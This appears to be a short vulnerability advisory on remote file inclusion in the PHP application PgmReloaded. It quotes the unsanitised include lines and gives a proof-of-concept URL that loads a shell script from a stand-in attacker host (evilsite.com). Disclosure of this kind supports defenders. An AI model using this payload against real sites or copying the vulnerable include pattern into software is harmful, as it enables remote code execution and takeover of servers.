+ Details:
+ PgmReloaded has several scripts which do not initialize variables before using them to
+ include files, assuming register_globals = on, we can initialize any one of the variables
+ in a query string and include a remote file of our choice. The index.php file is vulnerable
+ to remote file inclusion regardless of register_globals settings.
+
+ Vulnerable Code:
+ index.php, line(s) 06:
+ -> 06: if ($_GET["lang"]!="") include ($_GET["lang"] . ".php");
+ common.inc.php, line(s) 08-17:
+ -> 08: include ($CFG["libdir"] . "stdlib.inc.php");
+ -> 09: include ($CFG["libdir"] . "phplib/db_" . $CFG["dbms"] . ".inc.php");	// PHPLib...
+ -> 10: include ($CFG["libdir"] . "pgm_" . $CFG["dbms"] . ".inc.php");		// PGM extension...
+ -> 11: include ($CFG["libdir"] . $CFG["dbms"] . "_common.inc.php");
+ -> 12: include ($CFG["libdir"] . "pgm_common.inc.php");
+ -> 13: include ($CFG["libdir"] . "pgm_session.inc.php");
+ -> 14: include ($CFG["libdir"] . "pgm_users.inc.php");
+ -> 15: include ($CFG["libdir"] . "pgm_cart.inc.php");
+ -> 16: include ($CFG["libdir"] . "phplib/template.inc.php");
+ -> 17: include ($CFG["localedir"] . $CFG["base_lang"] . "/base_lang.inc.php");
+ form_header.php, line(s) 07-15:
+ -> 07: include ($CFG["localelangdir"] . "global-error.inc.php");
+ -> 15: include ($CFG["localelangdir"] . "global-common.inc.php");

+ Proof Of Concept:

+ http://[target]/[path]/common.inc.php?CFG[libdir]=http://evilsite.com/shell.php?
